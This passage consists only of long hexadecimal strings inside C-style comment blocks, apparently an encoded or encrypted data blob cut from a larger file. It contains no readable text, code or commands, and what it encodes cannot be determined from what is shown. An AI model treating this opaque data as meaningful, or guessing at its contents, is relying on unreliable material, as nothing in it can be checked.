c7d4f626cb9221bca0917f1bb2299e680d1c0acb100c7f024d768b9867c4c3697082a643b4375ff224d3807425269e8aac7cb16fa44b88a2ddf3f5c81837af6bce39dbb4717d253189bb5e47179cfd6caef1bab7247a9a62a3f129c61a8bd7d3afbc0a32aa2887e902bee015087cb2cfb21f7c781119ace96818be43b3e86a32ad2dd64620b08485aa26b229b2c6efcd345a4a357f5cf57e0115fdf81e7429fd620fee8f1277d6df41a971e76654e2e67d79f2d52f72876ba22886a269d4220562b22d61f4fd2aad7ef7d8c1ebecd83765acaaf68f66b5a59fc9ecceaa7a6f629c09d6f2225136bc3ad17b841d061912faed4203d62d0e6a7585dffeaa85bc27ec80fe64c66a7265e14bd71f614cca067616338b4c484d00b0956bef0451c1bfaf8c0f5b5153f7cd73fbf3b6f87980f24c79027c6fdefe182cefb206506edb7fb469f113d757bb848f56f5e01283b1e9c20753651157b5853e355d8de68480cf814fded1cd8f62fbc54d979c8ab693c08ce7e95d3be390e29b768bd2f44605ddd566f3db189f0b83d874ce505d220a28ac53021b526525c6c999a6d177edaf60db0c736c0b2871eb156e0ba61390fde2566c7ef91884a795195b28e553e83687c0e010c4f25ce791ecc12f60999ac8e627b18906359d9f38427fa6291b1f0d9db08067d974de6ba07d32227ea847c0147cbda01773a8ec8ae627a39ee119547c4d9232ec3658224879c6a74b402269d0cd0d677d7f31bca2c5a12896d9e9945a6a7f6d3e4cc7956d6586cccd0c694f0508fd908ff2ed76b5efa29244d6c77218bf11ccb43fe0d98e47ad061ccd2b60bb3a9841e3dbe0c024c94c5641bc2872ee2b14bf9bda49386e1dc27ef0d44ce830ce32fda993766ed62f7307f42929d863e9c1094ecc4d4ad3d19d08a33041009af0055188c6dfe05074d40085ff5e9b053769d245d8e82ebb75d5165a275665a85f784240e5ed2e507e1a4354d6a0ac4abdbdccfb1d77f2dab25383c058f38544133f55752ecfa3b70b9bb446a753609264fae8255a290a842d403ab2f54adaf648eabf0920e780067fbcb8199e9219304bc822b61b7a542fff330ba5631aea32f4cf9a0e3bc6dfdc6165640b72b5c227b7982d86ef8f28e26e79e0d70f01c1d976d8a93e8a7ed0b27c5f167aca059e4f7bc86e2d7d33c191fa31b348d80f445f788b1eb9784d882bf01a3f71543b8dad8c285048f8a38020b5349072d2a9999ec0cc911fe54c10494b04a4fa27c2b384508bab9974fc5e31fea8c134a8f6c334a885751001ddae49801cfcda5f4e994c6bdca6b41a5c8fa1c547b19ef3bdcb9ca8db553f343c4654807830cfde7c60203776da2146e98cfd0cdef6a8b42d34cfe6c9ab009583abc9f19432eebe77defb0bb4b9fcfb31d43ed8f15fe6fb59d72b3b885665c78e1266bdb7c0a931bd85fdd65de699a2165585abb88f7e8bc6a431e632712318e*/
/*a0a841a7c0262c4f9ae74296cbd5c78a780486113be93115276b1a337ca80ecca2d1d4bfeb73eaa75a70c3d3de2093a0aec4fc5f6c63c8905808363501c646d22b570e922395b996da0fd832dd9d849da410a36430fc2993494596cb5a17afbb97f873e00766b2a89f0a9984be1155ed1cbc8cc8d22339f58608af6ef2e4482fa8925458f5e38aff01c86ded669ac8b699a64ff033db0d962f0a3452bc07fd334dcd97e51425b750dc1b3e628661b59f296e21eaad1570a7a698e7bf92d34c82074fb4940da422663a7123c7a79766664b37e81ec7a563b1102b1e0fcfb6d648201ed03514ac5480964cf917c869b960c597ae98005cd014f8fc9b72fbe626dbb02a3054c6065d317153c723420cefb0d44396c120609326a3dd84da76b446f63ebcf559b802a59864d32ed5fa45c8d4009f9eda338b2c7ddf88071ad06f54b82c952d4807d73afb16f63c7d69c8f13a1f6930320be591852bc27b7079da5b30556b60a5164e49b5b025a54967476b7fede2e42a7b0aa2eb4fc1ed4d6862d9a64f29c4df04ff49eb8d8e9b7d52f1c903ad2ab3255a9b77d06585aa7da4374371162a6f7ede39f0e276eb68315ef74d318a1eec9173fdf68dc93f6d017d2d268524be14fb1b380df4bcfa3449d0773b86514362581fcf09f92c62dcc80f68ed52d5c3e8271d0a77e645cc6615a018209bf1489c77a05e30c6750b4e4f10ef342f51c9ed835e15f5eb758bdb9ed996dd7f5ed6de3f41dfa2dafb38c47ebeefd5d35143e7d5540912fbc3876417bc57692df38ab04752d376c63fffe943ebb32d7968ddef4c9aca92b19b6a32ece229d7e2f1479861f0268bc2785bd0c1cd972ac94b252c526ffe5311784c67758847b5d49cbbe9fe88df9403655e9ee85f8b050db0ed3b2758809db01c6555287b75a6affe6cd1ccabe519de1c1fdcc7c9c318ebed0e32755fac1d707a3ce4ceabcd9ddc5b1111c82b54b3c011a8b34e4972f3bc9b48c6212cdc539a8807698ef6c0c03de85529e2592147b2d8e820623ba2043bc21169ec17b0cb6bd4bff6e7dc78f02cbf4b6415f6e0abe35b2e91fff823faf00fc3c6d4d6652f88ec72bb41ae21f6285130cc6385b59e77e50b363a25e587acc0d56cd206070fc676813de2ad63184039d247c2b444eb7916b83a6016be852179eae959c80c15158acd2a9ea05ba50a31f3d13be6228e3f3a8c21ab2bd64b3997c4f772a3962d017dcb019d565b3940ee42e8493e791351554541b24f6a48d78fc2f4ffa5f13ed85f05a8ed784f2bf38d243cce698c0f2137353879f0d6790be022a60b09a3bf9423169661f62cc76c73c0768fcc71b1ea987026dedb37a17591de522325879f6a780814125a7bf988857d433e23af4ad8f38bb66e60c31c0aa0d29dea8919d5d016c461fc809bf9ae652e6aa5fb1238ebaa616d9a5fb8e4e355956b18befffc3e52ddd3e055c6ad03bf6c6764579e9b9a57f00d1eb7ebed9f662ef36db658959699e69e695d4a925b80fb25adabe220eee2b2a8c9d4944ef84ab3bef5fc24a36b43f973413516702cbf2da9a5abec0f311dc8345bab5e06b57ef83fd58c9e80525268df647bf743bcd2ba014a16b057340ac70fcd8a77e3c69915d7ea37a0c73bddd5ecfa1f0cbc84175160b47415480f6e59eea713b821e453660587b39934d1bc3c56a15e7633107999a39b3d468120a174cf30f8bb382492c36046d2fc5eef98d217ddfeea3332ecc35f2780648e77f1b0c8a22d5386f4767bb4a3c3fe95ad6694a3ac870a7a28ecdca8b2dce4b4f72b2013eccf9ddcf3b10aeb753c10e7aaf533185d28c3973df01337ffa06a77fc87b309688f8f934dab3456bd167f86eab44e00c46f04912adccc3465ef580b02d5d6a06480741aefc16b4a606ae66d42054cba6ac121ebd920f8166f6f7f9768350f8a8ac933cc8aea317b2e8427984b86918f78eda1c5073b33f598b4fb5ee92946f9ed5a0c9a5263c688cdbfc44af9ba931121c3382a4d11062a9f0128b052c9563c492bb266189bb2bdbaae0012d0a2f778c21729bf83b9c20661d134fb1735c3f249a556a3ffa4088bddebd8c42ad3eacec19a5556a93189b4c7fbe9ef3a06a72500569b176e5e320382b1de6e34c3886ffb312921f8be32a9503c608f1626d399716303ea25f7ced17592c4496ff6da38fc624d07c41d546106535ca8c9e925967bbcac320c5bd6fa3202d5f940cc07830d59f940c9a12749d6a183b757e11237f1d8a458b49c751cd9d293d458b0be7ccd027a7a634e8b97f72675fd46e8ca05b5eca523749f5b35e577c2240ee229e3da0156e03ead373e04dac078d652781270394315d0b5ef13afc5c10828eb23be2b3973e61e1e36c70de0615818f81e210e28e4d7fa3801df853a6d023a2d751e251969993da5ef38c8521437e3f225346091ef23c3be5e82724379b7a263eb8a0ca0a3e9ec10f63b590e2505d81a3e5a910874c74d809f29c06404ccfdc344390c827cd729813f45a3d209444cbca6524a3c6684b9d9180aa9005094fdb6d0dd7a51e696b49d99139f765ff5f554ccd2a0eb3e66d7177eee3dfd283034571ee0d68d358b7307f800c4d37f55359398caf8379fc6a2a40f8c8fbf88665daea1f099ae7ef5e5d8307f60e01157becca398c9942ed144381240b8a470c554210d3c08b96c37a8509cbadda26a003208c2531d3b562cab7d2a22872e1290af22347d785d1070c87e478dc83f42a9b71ec561489835f9373189800a372ed0a402bbd94c62537ec6c183f933ff2b3d28a9d0747b92b9441c75dd299b52def508ac953a5540246041*/
/*a6055eb22f4c62b4e6ae66101a60b91110cc8fef18fe0317d1fc60a5d735e64abd48b23038fa9253c60b5c6bff5a1074bf4d076c2a9e889ff9f0a077c87637b835354462b85beb84f09b05787dd435ac08498c2c81aab426d599dd10136676c8b0ee196da50a411dd9ead795dc9c4d4c77d7bb8e9a047c8299d6f5408db395629752571620fbe9eddd92c5452671c4f60d5e35cc1a1c05ac0a005f6f4e3a13f226c68846aa6d0e837b26ea7fcc54c21318bcdb6ea233a0a83480dfd2dbb5a32dae97f0fdec24193e6597b385b2bef3fcf4f0b7feefc0781f4f72f497f81d4f1bc679b00b2bf0c6b404e4e3393f2ad347475d03665651280520a0e019073f57c8023c9852c9bcd150a1913c99773457f34c90a3a83edd378def7b6472cd79d2cb91c64cac7b021d36d64e15fa5d9c74ec759b24feb66c0640d09c85f685cf907a11956008c55d80ebe1721d34ae1eeff2f39dd3cc4cf9ab1ae9addf1196fb73acb9c5c02e817f15d8aaa74cff39c4477a227e71aa8517a51c3e12c970247fa646ef201d4cc9e9958c6513fb36094ca301b13bf52d6ffad4b8b5f38b555415fde37e689c255cde7bd1cc5e0a56bda3d5aa9c5be35558d00a0e67ad8604ed0a805491f971a2b6400de4b4665353bc9bae4eb28d8dfa6e75baa58fa58e2c853a179ec6ef9c3baa1faee10666bed17a0183184f08c5c72e8b425e7a618a8db02858d7e6fb603bfcf35cc16ad538d3345821bce1fb2181c817a42dcab8e0d7fde4311c80e1b0a574bd3ef7b67386cd922422894d09c6088fe0c2c14b525d5341991e777f51c34236f656a6156f955dbcf464777d983fbdb2544ead8491241141c2d2812dd7d1be6d9fa40a5c36555a544b05a08f1d813c2873d1bd85d89d6d9645a83053f359f37fd4c31651005476b42e54f884f7072ce7a97f5dbf7e2dc2edfaa09b01f1ab57c9b9d150ed2b368f3cae810ed3826030286c811087121c4b29dceecf6fd55a6c5df73402f3a93b0071eb863f237729c7b703507cab909484187f3900d216970823cd938a443327f98cecfec7237dc64d4881d944e0a5a12973a782a96993ca2a4a96f26767de03b6c5728d21fd523bc12720a2ee2864fca32bf84d25e77a94f16b39f282a585f1334ec77bd87163ed8bc789e102f1c23268af5707abe8266e5da6831c909c4dee6aa958b80c5724c8476057cc0f368c0f280c78fdf411effd72cc990bae7d57160a4ba4c137d759752d36b646dac4e1d4ebed426d4e02c453e249f96105df8d9c0cfdca16270b92989e2e76590132a2b0158e17b7b83e55d8cad06298d4189d470c0b59135bf2d97115bac0d54220572a0bf15529a44c491ab79247106f934fc35a0d99f7e27f1f0ba65d569a420d7c345215d3a0b3aead64f5ac0db762972dd3aca4909c152a569d0cfba65e2cfdb2eb6234efff2c47036abffa19005f5a95b7824fa16083112d8e57f9947ef469b91c65eb0af2602eaa3465ea4cec628217defb974a288ed1bca3a127d90cc4e6177c42c972cbfdf3bcc75ccb37865be01be7439c665b6de7a41e2bd6c2dcc84cddf5d43a8bee636eb197b7a3a7f823c2ea4d4497f0d2dd496301792c0b77581fc856a177a5365d2d49bdea4441e8c50a3b5398a7ac2dac0ff9d24ec469478fde1d2d41edb54d8055c303c35b5db0d6206b13e1f0b0a8dea3c42c28b1a978480053fbf38d2c0ed221c284433eaec2fc542d5a1c15fe3b2ba999cbd0d5203d5d44067946a7539da76a16a96132eb1b9a6895e60def345e6e8ac55e1081407b9a16f8c642464f60a58c1ccfa3eb6cf8d913dbaf9e36bf87bcdc6c5e9fc74cb6a4d236e079382cc065e39cd40a3b5fb0b1835fb06b24d19cf8be35cf9d86fdb10d0be1c54ae5175872a202fdae10b9c1cc430d0f6aa1dc0870b114923d22482c41878cbdd797752c3ec54163941ab90858c97eba175a1dd634e70cc8d64c41d8d5eb88a12901703b799480de7d672c60b234dea0ae0c6cd5a1b8b202351a208c5ce9970043fd27beda016433faf3a47eb3e5efd4c2df594436da4e67ee26067690c9c1af5f7d4dfb6976b0692811da96b570305f22bdf59387ee72e32eff634279a59a4420127ef394f746a0b66e0ff48d8076d7d576952b1014892bf0f8bc6738e5b52b9c36788e4ba2b3221b2f128dafdbe1995f041f0ad3d55fa2c73e5e5c9b3b228c405e38595e301c5dee5f06d8a8a60f2c8ddbc2d8a1ba0a6bdb1e8c181ff29151c2fc73942d7fa36758b72489604e7fd68d1616d061e86be3b344080de9f1a0f809283e99f1497d522fc874849b297e7e7bcb358b4edf214e65d33a85a978fa98c2eaa8327a4d8d0dddfb36cb5ac91d10976f519728fbfc42f4654794a359b95801246a364e3c42cfb19b267401de8ba2d8c98cc1f6465e2b4ac2721282112a8c8cb7e2a89bb5c1f2aafcfa37a3148a070148d29d0c4384481df1e9bf0956cdb2b5dc52cbd9a4818957deec4ab9c7504767c1e07ff5057378684f32da2db933f4b3601e2ea244e2380ea54e9b4673fc33d74209341f29ff14570e95d4e4d67b381de0229d704e5418efe9abe7f1755e355ba6c496905d739c30feca36e98eac00f891e7f92da4b18951811fc6e4b06915e9dc6a2ab4aacb0ced9568f697b54a5df3ce4f4389f70f8181948b0a6c395f06cebbd8de57114d9c2f96865d2821dc508573e393368859544232e0a1c176819591dd0c77ebcd61e8ed713565a8c42f7347314659e86ae296dc221f9c29e866dbf11792ed77193a2760f7b4a00076132d15a2aa0bacb5d6295bfba0d9bf46749e95e0c362d5*/
/*9f1e2283aec449ea63d5813f59148911c2790c449320532dbf75b401a9708bf43900bf01b7fb03ab19ba7e02cd75eeab4b4245c8712b557bb9462b5392a7bc3cd8216d3db161132b11a8a0d3d39b938cad6afdf0abb45dc85b9ec54588bd3bcc8f0ea4d54763231b60dbde51073d531df0104983d057e9f3d1074f126bb26c646c2ecc6c3b4c05293d0358e5673e815e63b2b5eb22a0604db17f3f391fb80650d2fdb95a1523e38e0737077b48d5fc95681363ddca50fa200a2cb086f0398cacb90221b1cbe413921c411a9b183a21ecff0c0af230c581ec087fce3cf1546e98f7248c99110ec0afcc6217f42f35e813ec58509c3c342442b23af5628c6e0732887ab669264cf85ff184d2cb7fbf1b772d532e1b2bc0bac74ed27d879e22315d818da80b82e5c639574565a936d943afc8102cd070348d055fe65f8ddeedac359984b579790fadaea02eac292867e4b51d39bb45677e89dbbf903553b612d5c83ace4fb73d15dc4d4bded399acd2502b5eb21541b1980b7ff4e35b248e34ddedf3e5e56fce91e5d2ea37790479568ea73d7df01d30be340c467d93583aaa98651cfba8b251d5eac520f1625abcee559818535c86d6b3b9f84e6aa7ac8427c6893e4b6292f6d2b4f147cc730de3422dde4d7b8bb33bce57c16566b0788639a6dd8ad9ea4f77afa3ab1a7d5180afb772b7ad063ddd569112ffbb34447c8d95413398d49a15e678bf35ff42856c52c761c9542cdc2d77ea2627a77d18e2b0ad0acf20a8a09aea1c7d901d7d92b71e94854d8313b66f3da4dd9d459808bdee004884806f065ed7779cf755462d15798ad2a4bea109c9779e0faf92cde492ffff1ea66bbae922ad3814ee8028ef58c26802e3822a55cdcc7f74944aca58dc2285282c8c763786fefd0540b1997711a2a48e3083996e8b8c887fc8a512a771d3cc9eb5e9986b0c11d84b846363af5e8bcfdebcf783452621e051cbbdec6e20d5bbc0de42c6d1a01d82e026f320d4632ac3895dda72c4b914eb2befe01236fa7ae715f45304909166cc9dbd626c735e143da7053a6055695cdf43d0e6d6c0c89115b7265a46f64943a4679ace2ae6058b0fe823683434186241d979481b178e25c1e12a2311f11a793736b22b8424188a88afc355af68ed4972ce9f4cd2bb242faf4f03a8e57bf44060240952bb31acf5360782b0a99a8602f4a48df5d0322458e28d4b814c6cdf76f29e8a166b8612f7921b92f4cd87170a170858ef4b929195978b4bb5cae03b1e494cfa1b5cfedf071701d5dc6fc6167a5d417f9cc67ae04071d6f9ef5f999ba8c17efcf37409a5662036ae47a2740bcfb8872feefa0420b9db10bbe74ee2f47ad2df01710835f6a055121734c52122a73ec804a3abf0cdbe54408d9933dcd79ddb7bfc7479f39c86afe68e2aeff44dd633b39e4f250bbf6ae25a75f8a07eb24a2e0c6e10eda3f7ce402d2d07af223fb27823ff02d127aeec4fc87cd4ef1fc469d1900e543e923b0246c53671b7a473ea082560785d3f138bcccb74769081a752a39e9ff3e687068c6249eb264cf8c30d18b7ec958764669b6aee82dd191b3196ce27f18caf2a26d7a2c67125359df046392fb147bf6f23670bb269ada46fa9cb4ce5c1398f1b89f94237afce609a8c16a1f33758331fe7902cd1c08f3c383a6a148fb3f0dea60dd56a719279c010f652237544fd1402a88bd8e2f0c2492ac96ff698c4caa59689d7d38018aa6b017c6f9383391ce9fcdf14d9bb6be83b87fdb38fd7c385ca780b2869809b43996199822fdf6c4bf38db338823f25a8df1e3d67d2c95647c07ca494e5ef28ab70f303ff92014ade0070955f51d082de3926239abf644cb365cefca93b7ad6619bc256df9d3d5f2e3e8c29aac3f6c83f47d689c8f91aa530b7ae571f9c5ff7932194cd43b8d0db71502fb1a0e0f3043d6d6b1b3ba01789a0db1792dc855d421ef79555d83c0fefbd283d407c95493d43b0fc06b7ae464ac3b5dcae1491a4769cce2457c4378ced91e6790b1c16f67acd158868f9bacd2ae601ff90c94a36305c81b9591a318e23fcec84a090a5e585891b653aa165ceb5c749a80682088daec11a8659874d827b52fc6d3369aa4daa3a1e70a03963e04668d6ef5a2fcdcad68aa41e65a6f621c09c3a0cde6735461cbc1f4e74467849ece8018b57c8ac0428cc8af92d8726bfb935bd7b3bb569191dab57f9715728bf65f7e235ff8872f3444e0a3c2d123971b7add4abfc610865d434f3cd5ba8123308d9cb7a867172f9031f536abc2126819225b379e9ba3e698aa96caac4e91ee1417e63252eec8e09e5d4f87f60bc36a3896c592e2b2b36f078f915c4087baa5784bd6bcedc922475ea7cae5e81464d34dc96c4e88e29aae0066f077881ed5bea457950b803f686a83152c9b9429e565f5a43779e7821b03847ac4d35e1d61332d5c5c63c3272353bd0a30158cf10907b7f1c20c0daaefd921e154ee4be8b5d9e8c27c69db8ec8d2f35be72dfe2d458c363365e283e44a50d1a85aa3d45282323b0e9dea28d53fed29935509265b9d73127259e1a99cdf26ecfdda3bf13e5fb95596777afd3dd31dbe8235eb984f8fa10558ab5e9771c92eb7a81bfd62f55540b991188ddcedbf1ed5d538bab211babbf136907baa65303a7579278d4ae0925d20fdc01061188a04434b33e78bb553fbb88ff5d345bc2d3d7a90bcc7f97c652a19b5df872ffdc045d571259732fa2cf32a3734d4447bbace403edf63fcd41c46350d989eef1c1af9d2d05c3db3a90e02bc4fb6bfef31d495311597e48605992373809987d7bac132e43*/
/*d62457c0af4114d5bed860b1bdcb67eea6547e85b0045f225732397fdd5e98dd39fa4b587f76dd5b867f2844d86de9614757074890f86ccdd8911b2bc653979b7bb932f0cd99674b8fc8510bbc40903c5a7445d280302ed91f37aeee22a1d63c5ad27a69ab6f9534514ebdfdb607bb24d3a270d9b4e4ddb4a6e0545692e93a70e6a25873f42fa983397e8e73e4d54ac5266b6a4c658e817d16545163fa8b60751c7b6acde83223a53f41ac1aafc8fad0f1dfeb3c4b641db8cfa6b39a13ff281b106a1adb352bae009808c852ac8ce83a5ab95573300fc4d16aa2ffb05720cc27fb05dc88eadfca156f419529096dcd7355faca8a9e5a026ad64ac1a5c09b3bf4c3ae4bb77c866cd77a34ccf534828215840ac34a1560bd05ecfa7f4d373eb67e5abea2372c415c62c1f0f8f5e295062e2e4b8031b878971e7c627d56ee89ee7b30a5be85973db8631af392563038552789b43e8edcef52edd9e2fd09c41e9d041ad8f422180bf4cf7649ea7aa4da1bf24629f26fe3eaa5967e6c720a6595cee0e5a25aa7f3e9b805c9b285f9604b69247f0e89adde35f35acbc9f8278ae18be5e542d46252464bb42f44ff788f27c37fb7c745e83ca2912cf72aac509dc4176953416da1f6b36c36d1973ad1a3235a4ca0a7fa26a1729007c5dfa77a935001be3f9bb7ba66c1908ea38b28068982686957781c29c564c07145b8f9a2c6c43f6f639a747c1fa47369825572439ae2058986c13f3c8e627025b395f1703be8eaffac7e5acd4b6d5dd007455435e6f4ab76b36df97b60903c7f37b6d7ae09778e4da1866ee41ea05dc02b0b51700f18cf5cdbb58226f9dceaed48464e246ad1721b1031b17552ba94a38492e8c30fc5de951fa9ccfc2024a119a1feb9420264be34ac3db319703745e804064e5db3154040f7ad2232374da7c229858d989dbb503fb94c0b3e26f63b3a48d16d3c4c5eac46ffd1124b1d4ff0b78447ba15740ee3484afde1710f0b5529ccb410baa3dfd69e82c799743f72b1f62e86b62e16d8a087a2b5508a5c834cac31c93e4831cdc549914c935e9dba53e9854afcd7b09e7bab6f3c295a133d7d06ed24114163071886be6967d2cb0c4fa47194b34d39ab12eaffe3496a9f97e5ad1a20f62e51bcbda2cb4916e7f523d1390008ba32755561354d1a136f076e5551f2cc4e6eb14f0c63ef23be63df2f2b6ba63d6c95c6847624a34ecb19b64d5c013488f35599988d733e463130706c38b9fad2c77e2fc76958f3305a94aad93882f0c7b025c20bb2883b09c7af67e83d3247ac857893828d958d999614cb07097764a66b021fcbbda972ebab599d37174b308e74cad88bd3d2707d72ce25cc63b2bc3278710b882adf5119e7275993d8323057607b9f65a9783d79c6a92bb46d1cb2ef03048c4c48c497ff1b820f62a72051839c305cd99ebc2c988c01ab7c633d0ca86d21c4aee4ad44089df9426546efcc32f3462f6bd36f99d1fd5ba41c98e1b614c5a975d074d5431a2291bec1243a0e2f9f1bc9022d8692c03a2c54a693f8b8d8b47d67dc708310090099795a40387d91521e18a823f850224c8b0b2181d87e7b0c5ec1b73727af33f4a0d6730055c3bc9130f3c589e27374229865f3e584204aa850e9db4766e4f3a331cb5fd6bb87a8193d60b583e2f23622845a443a8d8412de9b793ad1a82ea5d13c04875a9f49b63149763e378454af40572350b250b8ad029844847fa836b9afeda4464f40bbf7dc384960d2ee7db3172ac1b8c19141a8fa665f6dc673b57e27d9cd54af24d13e80618e2fe0d2f881d8b8a02f1b28540cde56ef0c088be22f7b2237bdc3481ec148c129c9ea12ed43e7fca9fe7807c99cd342abd2aebf4e645b4af06e42300eb4ce5b5bac7c8f947a7532fc59c162bd67fc5771bee072c0ab5e2a2f69bfd0052f9dfe9632fc3f8c8c99b7e71b61fb2df8ba391a9396edc638fe2defab04e83e01ef90ed88cbb646c06e07ab38f5f3da9e1549d2ec276db7882f00328a9a07c9e37e934733a1a2a699c3eadec06b633e71ab2b519e20df42345211b46d401a6b43ccaef50c36685d474dcc6d32f23d8d8cee06ff438572d193eda338895c095e5a8f9a8438c59e6268c2561702be68c40d9bc0a0f479ed07862c8135a92c19bcb9b57295b929a02406ca77bfa588aa48034b2fc5629f67ab0b21957948c1a67f3bd5d8aae70dd57004250ddebbc5b994672efbf482d485cb33a1597f09f530fcb0870a44b132389bf6113c10eaf5958dbbffdd0f81ee03d61f1c6f5aafaf60be6a027d1d80799f0935167b990de5c9c84400efe881f6f31fddca439b81333696b50a7e02a2632ca38f0931fa0db420eefffcba4d63a15db8e33dbf9270352dc2c8548357df0aa13c0edb17ac543022fabe4db14178e5dddccfcd8104ed9e130b2339b90ae8822aa7ab15d876d1e299e30310128d117c18ed9b261a424b6b45aa12f5e5ba0e4a12d469a0a8b4c3b26dc1f7922aadae71015cf7ec9189b1a9e06fbe8189a600bcdc4d26430e72bad62ba17abc83f1076e0b177516b502bd6303ec0defad69636cc1b922ad55e16f25ae36ac19fe0706bca1aa20b5853290987437ed2864b5f50b1397632b695610c03f2f5a19f3e2ac2b8c9a802fe799f0c03dbccf5ca8deaa33e9876e58113f298a9b822c80890806fa803ffa57e71b75a560666bd2bc6b350e8840e575462ecf7f3434f87066d37c8f94fc5cfb0bc8cc017aab53548790e85c8dc57f41ab6cde85c65386902f6c523dad544a687d0f1dee9fd0821032c2e608112a8117f81e232f9700fe583ffe9a78af*/
/*c0fb753806b96b071cc62a9e31593ef062e2c2dfb9843ca190898b68e876e403f92106f84d32d3afcffc0c55681389cf42ede0c812e4db9fad2634f7d90c5f14b14042fb0475bf0e2bab976f1f55ab64cc2770424d0da6be1f63f859c29afc2c12165c55df49d9bb0d8f7693ffbae7e14a69a40a79cb29c8aeeeda467f9a210155273487ba8c1dbc6897f36ec7433a4a662ffbc8900dc60302d718603858236a7f151b9119ebf670949e68c4a60f72a9f882a65faddd246921317de3b1a01f6f3a1ef4b44a7340d5e0e95e1e5580c1a14cad1f3eae0389b5cfc90ac9bb2547ec10b0134f95e0502caec8313f4ae6a573e00144c1c86edd1a67f89c67ff89a9f701dba170861832d72d4e328dbc468dd11fe3229fd96bc2d307323b6e04578a171a8acc17c85ab5cefe32dca646d789ecc52c4872b3a7c246c2173de1d4745781c3c5e0efa92a22facae1e531313d95258ff2fd5a3437b5ef3b0409ec382acee2afdaf140f703132f1e6090f8576aa24aaa64356769730db2d3227d946030b30ca178e05c6e0c860608e2a6d82a8f00e87f568cb36d7291ab422be08b98dcd665ae8813d0a95c0d541daf9aa17920eb0684300fc20ed5eb167b3091bb01049a9cc3067b3df2d54733c0da7fde55eb871897fa5c4660a0aacd3c2544a6ef7f33346b058061ceb40596e94d9553a622324a83b75be59f4554d73b7126ec0f555b38c5ab68eb9eebfe9bd16637d20fcf14d915a63b001f803b9087d17ba5b3884a3e6626ae5081bbc6fb3c44ef42ef7d6b3b5412cec0385e7d3231521ebe0e708b7c75721521046592fc62b49dfcdd8ebc51bba704c83e19798091a71a769e55678fd52879590cc75550d676d9fa8c5a029e0c6d042ea03efa143a0b2158715765fc5e072dc6a77617f1363ea031c5ec29764b67dfa3fd7d4574230f8586ef76754f5441233df717347c49072db5839e74b1dc212a68b2798a2a47d588594ee54ee9fe5df2f6e97f50bb101f4b3a82c1433a4c901ce1805aac1dc0617df039c89cde6b36108ef17645961c539fdf251392b3226f915d7c7788ab6d4f3b1add0f61970f4bd6b25ef16dc98dde26726505bd2c270c7ddbbe2fcf06b11af71c711d1aa829e995ae58de73bfd74b08d43ed19f47ac73d66d18b19d1a196e04571d6505d8de8f28f5fe2bd620859d88ad94c4c8aa5d995045ac4a8edbeee7e73a51a733b6dbf7bd5658eacc37ddbdfcf11cb8bace415631b0517340aa20a2246ccd8c1a6ccaa06f21518326407c7a4e98d96cfede8aa8b6a7483c3c1eeeab6ee95cff278c0cbfba8917efd77e19b598cc561805c2609c36c4b37a3a43a3d85dbc44e4db89deab45f667e00735b7542ea6e8116a8024fe4c282528f9fa33a2e15f0de722de283b5ec11f9456fb758505473161b4a7f861dca0fea8d0b4cd46a51fc3f371556a2d65a2be92c9562f9961ed9c201d83707a7e3aa3e723d7cd30ac0da7d625569b36a2d3a41229b0732c7357d6890f43098bf8bc55cec08a4071d13c392941126ecd395cc5fefeea12242aec05063de39bb234f89ae9a6e2eb157bacf6948dcd81ce46bd9ce66454c662367074a244d7ca521b3e87ca3f46e4b16017a3b86cec0b9ccd3afce0b887ff29c72f77576ca421b8f83f84a6a835c89b158c4b92ddf6615e011272f925d3f385c2af18f36f73fb21f058c974e428d947a2552e6afd2e14aa445700a2caad4ff207f043fb5a60f66b57d74a7c5127f2ba6c19dd729e0e7c0a33ac9908aab89a4a6004e5d7217ee6cb3af26966f7b366dfedb57f672e2ebe47c9e32fa49626fc95feeb1d629919e996f031fdf7c106669ad9b334329cbb44a290890036d2e2b8a8ff4bce0bb401ed3833732086de197c4789215261b38088e0850f4fd2f3fb89ce907b35b5f529061636c6838c750620af25b94a1a0f966b63993b5ee1d2533a197da623f9b7970db4221014ddbb42486349e7d4599ad4776e77461889a7874d31eb635831832124976130deb93f643b507cfe9df3ca721d155a2f96d3f776069250c9339e33dfc1ac6eb4ba73a346aa965f9675185724de887c099cf9ac8239f860f61ad7e9b873e4d25ff1a8d41d084b37b759702945d6ee00c0515d6e3d6b0bf643fdd253a27bf71372be9914d1c6115d9dd59f82f636e3b255d56172ac886105b664070b6e6012a4e9105033beb9e5a6c79512d65b08a1d4f2da5bab722729a7497f32c7c1f51b8368e78975ab5708bc880f216a1e088592f3dc60aad8b20ce28668e2676ea9763d23dd5ec26f40c24de4f874d2b59924c0c788344f0c042c062d1b1b87a3b3ce570e324325d778faf51308ee1f793f5d5962bb2fafe465a72e5a2d513d8a12ecc4ec177490744e7e52b57cf8dadec877bab35477670fd8d20b549b5e262605e8762c243708bb80f34eeb9a0d06f367dd4fbb61b1392bb9e1ab7192ee37d20a9fa25b8dc3fab59bf399151724dc8a2ed6e66d2aef63b843fee2083631f0edede6ad51d69e0154c2feb417e86019eac7346199ee63b9e5d033a5130c01f93f957171bf1b43b17988cd338215b389bbe219d600137794ee946f423fcdea2b3723a7034af00fade39b97d7cbea2c52397d43d718e236426e997eb59166caca8c5f7ab9f4703c5d8a943213c3aabe6c5832c9486d60833a2be1f063f037fed6bd8b10f1b117ef2a90497e52bd21d48cfbe23a2e8843233cbab7404a76634e75d9d1f886ee9849259bd13a58b6fbd35407151e02351ea212666e21181483dd7ec0ccada569b1d6a139446c2357b784c741cc5e193ede5a13191d9fba59424c1315*/
/*64e45cb6f142a8624a27cfc28ff63ed3a7a9f21332c4b44dc8acbe2b4e97ce43ce9a28e240ac6affa77766105a3652e136becf7ca24cb409ef50a53b644dd0000e638951ec37e141379f68db41d3eb954248ab2d71f04165695ab83ebfe4465cd842d83bea76a18c00e34c30bcb79a152d71f30f7c777b63f8c93db676aad8c2af1a9792e37abefc2356908c2026a553bfeb05a079aabb097cc539080c7c5a0afc577ceceeb604903119bd7e9a73b2720c719ac51d27d67eb1542297d4d776e21ae11e54628ca4c8a107beba6acef5ff3d9da61009068740c51b8ad9cf48becd3e2afbdc2f965372077e6ba40f14003604806db1db88d7b813680dfc1a463d09d9059727e7a668dfb03c8b8ec1fc63ba717635366d5897800c2b581eaafd4a253528dbb9e191afe9c0a796b94b65f72f45a89d15763428314d8c6389d2c480d44c87b65eea7f0f1086c113dcc9837529de43250a466b4e5bcf9ddf4d0c12f0f506b392d96658fa85703f2897dae2a3bd6fb9f918bed7872c92401c4ed27a10b1eb11ec070824e11d1c4036d2e88b75200d9f548721eb409bdffc053d27f2193407ba5c13dd67bb452266ff69221ac48c4321e2e2467de3dc99188b9653df285cc